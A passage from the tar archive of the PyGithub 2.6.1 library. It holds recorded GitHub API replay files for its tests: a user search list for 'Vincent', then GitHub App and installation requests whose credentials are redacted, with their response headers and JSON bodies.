09:15:15.844Z"},{"gravatar_id":"fc24888b3f4d2a85348e7bbded2f4100","score":9.488329,"type":"user","fullname":"Vincent","repos":0,"name":"Vincent","location":"Amsterdam","login":"viancen","public_repo_count":0,"username":"viancen","created_at":"2012-02-15T08:22:55Z","record":null,"id":"user-1439145","followers":1,"followers_count":1,"created":"2012-02-15T08:22:55Z","language":"","pushed":"2012-06-26T21:15:34.446Z"},{"gravatar_id":"8682561c2989398cda139818390a25c4","score":9.48456,"type":"user","name":"Vincent","repos":0,"fullname":"Vincent","location":"Singapore","login":"vsputra","public_repo_count":0,"username":"vsputra","created_at":"2010-07-19T17:38:53Z","record":null,"id":"user-337548","followers":1,"followers_count":1,"created":"2010-07-19T17:38:53Z","language":"","pushed":"2012-06-19T03:15:15.214Z"},{"gravatar_id":"d3d7715ddc9d2c98dc0acca41026e3ec","score":9.48079,"type":"user","name":"Vincent","location":"Melbourne/Australia","fullname":"Vincent","repos":3,"login":"vincentwongso","public_repo_count":3,"username":"vincentwongso","created_at":"2012-01-03T00:57:50Z","record":null,"id":"user-1300030","followers":0,"followers_count":0,"created":"2012-01-03T00:57:50Z","language":"JavaScript","pushed":"2012-05-10T23:15:22.719Z"},{"gravatar_id":"207cf37afe1b8de78411201832496eb3","score":9.48079,"type":"user","name":"vincent","location":"bordeaux","fullname":"vincent","repos":3,"login":"guillaumevincent","public_repo_count":3,"username":"guillaumevincent","created_at":"2011-07-28T06:59:30Z","record":null,"id":"user-943762","followers":0,"followers_count":0,"created":"2011-07-28T06:59:30Z","language":"Python","pushed":"2012-06-22T12:15:17.467Z"},{"gravatar_id":"fc35e4705d430b49a2e1f962e73d567f","score":9.458175,"type":"user","fullname":"Vincent","repos":0,"name":"Vincent","location":"","login":"vn","public_repo_count":0,"username":"vn","created_at":"2012-01-20T23:48:32Z","record":null,"id":"user-1361165","followers":1,"followers_count":1,"created":"2012-01-20T23:48:32Z","language":"","pushed":"2012-06-28T11:15:11.679Z"},{"gravatar_id":"c34027ae138bf86507c5a36a6b3bf3a5","score":9.421089,"type":"user","name":"Vincent Lannurien","fullname":"Vincent Lannurien","location":"France","repos":8,"login":"addikt1ve","public_repo_count":8,"username":"addikt1ve","created_at":"2008-09-01T13:41:54Z","record":null,"id":"user-22757","followers":15,"followers_count":15,"created":"2008-09-01T13:41:54Z","language":"Shell","pushed":"2011-04-29T22:15:09.273Z"},{"gravatar_id":"226e40fdc55d4597a46279296a616384","score":9.419679,"type":"user","location":"Denver","name":"Vincent","repos":2,"fullname":"Vincent","login":"vincentdavis","public_repo_count":2,"username":"vincentdavis","created_at":"2010-03-29T12:06:25Z","record":null,"id":"user-232564","followers":0,"followers_count":0,"created":"2010-03-29T12:06:25Z","language":"VimL","pushed":"2012-06-05T19:15:38.974Z"},{"gravatar_id":"f6e9045bb7bf8b000eaf62caffbd17ab","score":9.41591,"type":"user","fullname":"Vincent","repos":2,"name":"Vincent","location":"Mont sainte anne","login":"vincentvent","public_repo_count":2,"username":"vincentvent","created_at":"2011-08-10T01:40:18Z","record":null,"id":"user-970338","followers":0,"followers_count":0,"created":"2011-08-10T01:40:18Z","language":"","pushed":"2012-03-08T14:15:38.332Z"},{"gravatar_id":"dfac99df6d6b570feb68f0b88f720a80","score":9.41214,"type":"user","name":"vincent","repos":2,"fullname":"vincent","location":"China, Shenzhen, Nanshan","login":"chenws","public_repo_count":2,"username":"chenws","created_at":"2012-01-03T16:35:05Z","record":null,"id":"user-1301573","followers":0,"followers_count":0,"created":"2012-01-03T16:35:05Z","language":"C","pushed":"2012-05-02T09:15:37.412Z"},{"gravatar_id":"1cc07aa5b421181a130efdd61112ec3e","score":9.403019,"type":"user","fullname":"Vincent S","name":"Vincent S","repos":1,"location":"","login":"VincentS","public_repo_count":1,"username":"VincentS","created_at":"2011-08-23T12:33:31Z","record":null,"id":"user-998872","followers":0,"followers_count":0,"created":"2011-08-23T12:33:31Z","language":"Ruby","pushed":"2011-08-23T13:15:25.062Z"},{"gravatar_id":"304da7fc1421e25a18b95b784baf9539","score":9.389524,"type":"user","name":"Vincent","fullname":"Vincent","location":"","repos":2,"login":"copyshaft","public_repo_count":2,"username":"copyshaft","created_at":"2009-12-04T03:29:28Z","record":null,"id":"user-161704","followers":0,"followers_count":0,"created":"2009-12-04T03:29:28Z","language":"","pushed":"2010-05-24T00:25:15.443Z"},{"gravatar_id":"838409afe0def35c03da9757148df790","score":9.389524,"type":"user","name":"Vincent","repos":2,"fullname":"Vincent","location":"Paris","login":"vinceofdrink","public_repo_count":2,"username":"vinceofdrink","created_at":"2011-07-04T11:24:46Z","record":null,"id":"user-893359","followers":0,"followers_count":0,"created":"2011-07-04T11:24:46Z","language":"C","pushed":"2012-01-12T15:15:29.207Z"},{"gravatar_id":"1adf0d0b91278d02e88627ffbdd1c65a","score":9.389524,"type":"user","repos":2,"name":"Vincent","fullname":"Vincent","location":"China","login":"wenzheng","public_repo_count":2,"username":"wenzheng","created_at":"2011-08-11T12:35:23Z","record":null,"id":"user-973811","followers":0,"followers_count":0,"created":"2011-08-11T12:35:23Z","language":"","pushed":"2012-02-23T15:15:48.56Z"},{"score":9.389524,"type":"user","fullname":"Vincent","name":"Vincent","location":"France","repos":2,"login":"ziefno","public_repo_count":2,"username":"ziefno","created_at":"2012-03-10T14:44:03Z","record":null,"id":"user-1523263","followers":0,"followers_count":0,"created":"2012-03-10T14:44:03Z","language":"","pushed":"2012-03-10T22:15:17.63Z"},{"gravatar_id":"95bcdb7789b7c0481aea3cf55b5bb987","score":9.389524,"type":"user","name":"Vincent","location":"","fullname":"Vincent","repos":2,"login":"vincentm8","public_repo_count":2,"username":"vincentm8","created_at":"2010-09-12T19:26:07Z","record":null,"id":"user-396662","followers":0,"followers_count":0,"created":"2010-09-12T19:26:07Z","language":"PHP","pushed":"2012-04-16T08:15:17.843Z"},{"gravatar_id":"811d7edddfcb7e652f38c7e56d51ea51","score":9.389524,"type":"user","fullname":"Vincent","repos":2,"name":"Vincent","location":"HCM","login":"vnoob","public_repo_count":2,"username":"vnoob","created_at":"2011-04-15T15:26:21Z","record":null,"id":"user-731797","followers":0,"followers_count":0,"created":"2011-04-15T15:26:21Z","language":"","pushed":"2012-06-02T04:15:19.714Z"},{"gravatar_id":"bf4442de23d120becefaa556f41562f2","score":9.389524,"type":"user","name":"Vincente","repos":2,"fullname":"Vincente","location":"California","login":"vciancio","public_repo_count":2,"username":"vciancio","created_at":"2011-12-01T03:03:38Z","record":null,"id":"user-1232406","followers":0,"followers_count":0,"created":"2011-12-01T03:03:38Z","language":"Java","pushed":"2012-06-19T00:15:59.771Z"},{"gravatar_id":"d6288a0b3a370e4db4ea27adbeb74a30","score":9.378824,"type":"user","repos":10,"name":"Blanchon Vincent","fullname":"Blanchon Vincent","location":"Sophia Antipolis, France","login":"blanchonvincent","public_repo_count":10,"username":"blanchonvincent","created_at":"2012-03-27T17:07:35Z","record":null,"id":"user-1580512","followers":14,"followers_count":14,"created":"2012-03-27T17:07:35Z","language":"PHP","pushed":"2012-06-04T10:15:20.206Z"},{"gravatar_id":"667176b96540d167eb74f473c9aea5f7","score":9.378824,"type":"user","name":"Vincent Voyer","location":"Paris, france","fullname":"Vincent Voyer","repos":13,"login":"vvo","public_repo_count":13,"username":"vvo","created_at":"2009-09-06T14:28:06Z","record":null,"id":"user-123822","followers":13,"followers_count":13,"created":"2009-09-06T14:28:06Z","language":"JavaScript","pushed":"2012-06-26T17:15:45.365Z"},{"gravatar_id":"71e56904f65a1ad1f3a178062fad6897","score":9.370159,"type":"user","fullname":"Vincent","name":"Vincent","repos":1,"location":"France, Tarn","login":"Vincent81","public_repo_count":1,"username":"Vincent81","created_at":"2011-08-05T21:22:58Z","record":null,"id":"user-962113","followers":0,"followers_count":0,"created":"2011-08-05T21:22:58Z","language":"","pushed":"2011-09-06T14:15:24.224Z"},{"gravatar_id":"014023e8bd4f74bdd5dd949f9afcf9c9","score":9.34726,"type":"user","name":"Vincent","fullname":"Vincent","location":"","repos":1,"login":"Vincentbosch","public_repo_count":1,"username":"Vincentbosch","created_at":"2011-05-12T14:48:43Z","record":null,"id":"user-784014","followers":0,"followers_count":0,"created":"2011-05-12T14:48:43Z","language":"","pushed":"2011-05-17T14:15:16.145Z"},{"gravatar_id":"86f44ee7aef87c7df23227ed99af157c","score":9.34726,"type":"user","name":"vincent","location":"","repos":1,"fullname":"vincent","login":"legarconjoure","public_repo_count":1,"username":"legarconjoure","created_at":"2011-04-04T12:20:19Z","record":null,"id":"user-708274","followers":0,"followers_count":0,"created":"2011-04-04T12:20:19Z","language":"","pushed":"2012-05-14T08:15:24.999Z"},{"gravatar_id":"fceb28e90061e831277e161d5e85757a","score":9.327894,"type":"user","repos":0,"name":"Vincent","fullname":"Vincent","location":"","login":"vincent7894","public_repo_count":0,"username":"vincent7894","created_at":"2011-12-10T20:26:26Z","record":null,"id":"user-1254570","followers":0,"followers_count":0,"created":"2011-12-10T20:26:26Z","language":"","pushed":"2012-03-29T18:15:22.448Z"},{"gravatar_id":"8a817ae82ab5e742c6aca7548e39ab65","score":9.327894,"type":"user","repos":0,"name":"Vincent","fullname":"Vincent","location":"","login":"vincent73000","public_repo_count":0,"username":"vincent73000","created_at":"2011-07-30T13:45:47Z","record":null,"id":"user-948600","followers":0,"followers_count":0,"created":"2011-07-30T13:45:47Z","language":"","pushed":"2012-06-04T11:15:21.524Z"},{"gravatar_id":"d98356664e29463bdc8d8e77095a80bd","score":9.320875,"type":"user","name":"Vincent","fullname":"Vincent","location":"Shanghai, China","repos":1,"login":"ttyio","public_repo_count":1,"username":"ttyio","created_at":"2010-08-16T06:35:46Z","record":null,"id":"user-365590","followers":0,"followers_count":0,"created":"2010-08-16T06:35:46Z","language":"VimL","pushed":"2010-11-08T03:15:12.032Z"},{"gravatar_id":"74ccd2db6dd9211393d4bd62408c6c13","score":9.320875,"type":"user","fullname":"vincent","repos":1,"name":"vincent","location":"","login":"tean60","public_repo_count":1,"username":"tean60","created_at":"2011-01-20T06:55:22Z","record":null,"id":"user-574055","followers":0,"followers_count":0,"created":"2011-01-20T06:55:22Z","language":"","pushed":"2011-06-10T06:15:11.093Z"},{"gravatar_id":"3526439448f2288e0aa5f9456b6aad4b","score":9.320875,"type":"user","name":"Will Vincent","fullname":"Will Vincent","repos":1,"location":"","login":"tcindie","public_repo_count":1,"username":"tcindie","created_at":"2010-07-02T18:50:26Z","record":null,"id":"user-321392","followers":0,"followers_count":0,"created":"2010-07-02T18:50:26Z","language":"PHP","pushed":"2011-07-01T17:15:14.856Z"},{"gravatar_id":"3aeafe584ef75baac1976c910f069752","score":9.320875,"type":"user","name":"vincent","fullname":"vincent","location":"","repos":1,"login":"vincentye38","public_repo_count":1,"username":"vincentye38","created_at":"2011-01-27T07:37:41Z","record":null,"id":"user-586072","followers":0,"followers_count":0,"created":"2011-01-27T07:37:41Z","language":"","pushed":"2012-04-05T05:15:16.89Z"},{"gravatar_id":"49a3fcbf452d1e9d85259d8e1f510934","score":9.320875,"type":"user","repos":1,"name":"Vincent","location":"Rouen","fullname":"Vincent","login":"pasificking","public_repo_count":1,"username":"pasificking","created_at":"2012-03-30T09:07:51Z","record":null,"id":"user-1589894","followers":0,"followers_count":0,"created":"2012-03-30T09:07:51Z","language":"","pushed":"2012-04-10T09:15:35.441Z"},{"gravatar_id":"c3ca1e10cdb67296511fdb480b4acdf0","score":9.320875,"type":"user","name":"Vincent","repos":1,"fullname":"Vincent","location":"","login":"Bpbannerproject","public_repo_count":1,"username":"Bpbannerproject","created_at":"2012-05-07T19:08:32Z","record":null,"id":"user-1714420","followers":0,"followers_count":0,"created":"2012-05-07T19:08:32Z","language":"","pushed":"2012-05-16T06:15:09.874Z"},{"gravatar_id":"259619f6b128ff8886bffa31ea52ab35","score":9.320875,"type":"user","fullname":"Vincent","repos":1,"name":"Vincent","location":"Nanjing, China","login":"farawayboat","public_repo_count":1,"username":"farawayboat","created_at":"2011-09-23T16:35:39Z","record":null,"id":"user-1074475","followers":0,"followers_count":0,"created":"2011-09-23T16:35:39Z","language":"","pushed":"2012-06-28T07:15:16.399Z"},{"gravatar_id":"6b3cc4c0504401ebb74ecac20cec5fbb","score":9.301509,"type":"user","fullname":"Vincent","name":"Vincent","location":"","repos":0,"login":"vincent7842","public_repo_count":0,"username":"vincent7842","created_at":"2012-03-17T14:30:39Z","record":null,"id":"user-1547379","followers":0,"followers_count":0,"created":"2012-03-17T14:30:39Z","language":"","pushed":"2012-03-17T15:15:16.619Z"},{"gravatar_id":"886a562bd3cc225ec3250650d8cdf4bd","score":9.297433,"type":"user","name":"Zhiqiang Zhao","location":"Hangzhou, China","fullname":"Zhiqiang Zhao","repos":9,"login":"vincent-zhao","public_repo_count":9,"username":"vincent-zhao","created_at":"2012-01-31T03:18:49Z","record":null,"id":"user-1393423","followers":23,"followers_count":23,"created":"2012-01-31T03:18:49Z","language":"JavaScript","pushed":"2012-06-23T07:15:16.545Z"},{"gravatar_id":"4c7ff78c68f09a6294059d17df823fbf","score":9.291653,"type":"user","name":"Vincent","repos":0,"fullname":"Vincent","location":"Belgium","login":"VincentU","public_repo_count":0,"username":"VincentU","created_at":"2012-03-21T06:39:02Z","record":null,"id":"user-1559921","followers":0,"followers_count":0,"created":"2012-03-21T06:39:02Z","language":"","pushed":"2012-05-16T18:15:22.652Z"},{"gravatar_id":"9ec9ad37e9ab75436de0b3a0ce971dbe","score":9.283789,"type":"user","name":"Vincent Tencé","location":"Laval, Qc Canada","fullname":"Vincent Tencé","repos":12,"login":"testinfected","public_repo_count":12,"username":"testinfected","created_at":"2009-09-18T23:30:38Z","record":null,"id":"user-128804","followers":13,"followers_count":13,"created":"2009-09-18T23:30:38Z","language":"Java","pushed":"2012-06-23T19:16:06.24Z"},{"gravatar_id":"30d318bdf8e6a1d013c1bd8c5e9749a0","score":9.282379,"type":"user","name":"Vincent","fullname":"Vincent","location":"Coeur d'Alene ID","repos":0,"login":"thinkeryvin","public_repo_count":0,"username":"thinkeryvin","created_at":"2009-09-22T06:48:36Z","record":null,"id":"user-129806","followers":0,"followers_count":0,"created":"2009-09-22T06:48:36Z","language":"","pushed":"2011-03-30T07:15:09.25Z"},{"gravatar_id":"160934525d484d9269d3f5be05ff26da","score":9.282379,"type":"user","fullname":"Vincent","name":"Vincent","repos":0,"location":"Zoetermeer","login":"vinnyb","public_repo_count":0,"username":"vinnyb","created_at":"2010-08-16T13:04:14Z","record":null,"id":"user-365924","followers":0,"followers_count":0,"created":"2010-08-16T13:04:14Z","language":"","pushed":"2012-05-07T09:15:11.135Z"},{"gravatar_id":"e36b0ea5f740b3545bb9c39dcf4e5110","score":9.282379,"type":"user","fullname":"vincent","name":"vincent","location":"","repos":0,"login":"vinc3nt","public_repo_count":0,"username":"vinc3nt","created_at":"2011-07-01T11:34:07Z","record":null,"id":"user-888545","followers":0,"followers_count":0,"created":"2011-07-01T11:34:07Z","language":"","pushed":"2012-05-22T21:15:13.084Z"},{"gravatar_id":"953b83ade35b99fb82c2a6e134b2329a","score":9.27861,"type":"user","name":"vincent","location":"Montpellier, France","fullname":"vincent","repos":0,"login":"narf","public_repo_count":0,"username":"narf","created_at":"2010-10-28T16:11:35Z","record":null,"id":"user-458263","followers":0,"followers_count":0,"created":"2010-10-28T16:11:35Z","language":"","pushed":"2012-05-21T08:15:26.631Z"},{"gravatar_id":"a6c32849daa0d165f480bfa612116767","score":9.27861,"type":"user","name":"Vincent","location":"","repos":0,"fullname":"Vincent","login":"vincentveri","public_repo_count":0,"username":"vincentveri","created_at":"2011-05-03T08:59:39Z","record":null,"id":"user-765248","followers":0,"followers_count":0,"created":"2011-05-03T08:59:39Z","language":"","pushed":"2012-05-25T18:15:20.565Z"},{"gravatar_id":"23284aaf57ee593baa81a3d953386021","score":9.27861,"type":"user","repos":0,"name":"Vincent","fullname":"Vincent","location":"","login":"vrafols","public_repo_count":0,"username":"vrafols","created_at":"2012-05-28T03:31:24Z","record":null,"id":"user-1784314","followers":0,"followers_count":0,"created":"2012-05-28T03:31:24Z","language":"","pushed":"2012-06-04T07:15:19.793Z"},{"gravatar_id":"24eb2af05f128cbf59314bddf59f3ed9","score":9.27861,"type":"user","name":"Vincent","fullname":"Vincent","repos":0,"location":"","login":"vinc38","public_repo_count":0,"username":"vinc38","created_at":"2012-01-18T08:14:07Z","record":null,"id":"user-1343597","followers":0,"followers_count":0,"created":"2012-01-18T08:14:07Z","language":"","pushed":"2012-06-14T14:15:37.571Z"},{"gravatar_id":"5a60bf71026c317ff9cacf9cce842924","score":9.27484,"type":"user","repos":0,"name":"Vincent","fullname":"Vincent","location":"","login":"Squee","public_repo_count":0,"username":"Squee","created_at":"2009-11-18T13:16:18Z","record":null,"id":"user-154841","followers":0,"followers_count":0,"created":"2009-11-18T13:16:18Z","language":"","pushed":"2011-11-15T17:15:15.363Z"},{"gravatar_id":"747d136a83a1e1fd26b5f001eb632d2c","score":9.252225,"type":"user","name":"Vincent","fullname":"Vincent","location":"","repos":0,"login":"msr911","public_repo_count":0,"username":"msr911","created_at":"2010-02-11T10:01:05Z","record":null,"id":"user-201682","followers":0,"followers_count":0,"created":"2010-02-11T10:01:05Z","language":"","pushed":"2010-05-23T23:30:14.272Z"},{"gravatar_id":"f09b6aab5c78a879998248e76e9e80b8","score":9.252225,"type":"user","name":"vincent","fullname":"vincent","location":"","repos":0,"login":"vincwu","public_repo_count":0,"username":"vincwu","created_at":"2009-05-02T14:51:55Z","record":null,"id":"user-80223","followers":0,"followers_count":0,"created":"2009-05-02T14:51:55Z","language":"","pushed":"2011-03-22T06:15:08.705Z"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubApp.setUp.txt0000644000175100001660000000746414756101563021714 0ustar00runnerdockerhttps GET api.github.com None /apps/github-actions {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 17:55:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"52ae4146434244818fdf617cccfb66ce69c39baedeaf470ea3b79d55e0ac2102"'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1735927338'), ('X-RateLimit-Used', '8'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'DB02:654DF:22F89888:23DA71AC:6778248A')] {"id":15368,"client_id":"Iv1.05c79e9ad1f6bdfa","slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","user_view_type":"public","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2024-04-10T20:33:16Z","permissions":{"actions":"write","administration":"read","attestations":"write","checks":"write","contents":"write","deployments":"write","discussions":"write","issues":"write","merge_queues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["branch_protection_rule","check_run","check_suite","create","delete","deployment","deployment_status","discussion","discussion_comment","fork","gollum","issues","issue_comment","label","merge_group","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubApp.testGetAuthenticatedApp.txt0000644000175100001660000000534414756101563025372 0ustar00runnerdockerhttps GET api.github.com None /app {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} None 200 [('Date', 'Sun, 02 Aug 2020 04:57:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"76244215f77fc6f3d9262dea400b2567"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C28A:25FE:11739F:15A3E5:5F2647CC')] {"id":75269,"slug":"pygithubtest","node_id":"MDM6QXBwNzUyNjk=","owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"name":"PyGithubTest","description":"Sample App to test PyGithub","external_url":"https://pygithub.readthedocs.io","html_url":"https://github.com/apps/pygithubtest","created_at":"2020-08-01T17:23:46Z","updated_at":"2020-08-01T17:44:31Z","permissions":{"actions":"write","checks":"write","keys":"read","members":"read","metadata":"read","packages":"read","pages":"read","repository_hooks":"write","vulnerability_alerts":"read","workflows":"write"},"events":["check_run","check_suite","label","member","public"],"installations_count":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testAppAuth.txt0000644000175100001660000001123514756101563024610 0ustar00runnerdockerhttps GET api.github.com None /app/installations {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} None 200 [('status', '200 OK'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] [{"id":30614487,"account":{"login":"GithubApp-Test-Org","id":116723333,"node_id":"O_kgDOBvUOhQ","avatar_url":"https://avatars.githubusercontent.com/u/116723333?v=4","gravatar_id":"","url":"https://api.github.com/users/GithubApp-Test-Org","html_url":"https://github.com/GithubApp-Test-Org","followers_url":"https://api.github.com/users/GithubApp-Test-Org/followers","following_url":"https://api.github.com/users/GithubApp-Test-Org/following{/other_user}","gists_url":"https://api.github.com/users/GithubApp-Test-Org/gists{/gist_id}","starred_url":"https://api.github.com/users/GithubApp-Test-Org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GithubApp-Test-Org/subscriptions","organizations_url":"https://api.github.com/users/GithubApp-Test-Org/orgs","repos_url":"https://api.github.com/users/GithubApp-Test-Org/repos","events_url":"https://api.github.com/users/GithubApp-Test-Org/events{/privacy}","received_events_url":"https://api.github.com/users/GithubApp-Test-Org/received_events","type":"Organization","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614487/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/organizations/GithubApp-Test-Org/settings/installations/30614487","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":116723333,"target_type":"Organization","permissions":{"issues":"write","metadata":"read","administration":"write","organization_administration":"read"},"events":[],"created_at":"2022-10-26T11:15:21.000Z","updated_at":"2022-10-26T11:36:34.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null},{"id":30614431,"account":{"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614431/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/30614431","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":29196434,"target_type":"User","permissions":{"issues":"write","metadata":"read","administration":"write"},"events":[],"created_at":"2022-10-26T11:13:03.000Z","updated_at":"2022-10-26T11:13:03.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testDeprecatedAppAuth.txt0000644000175100001660000001123514756101563026571 0ustar00runnerdockerhttps GET api.github.com None /app/installations {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} None 200 [('status', '200 OK'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, 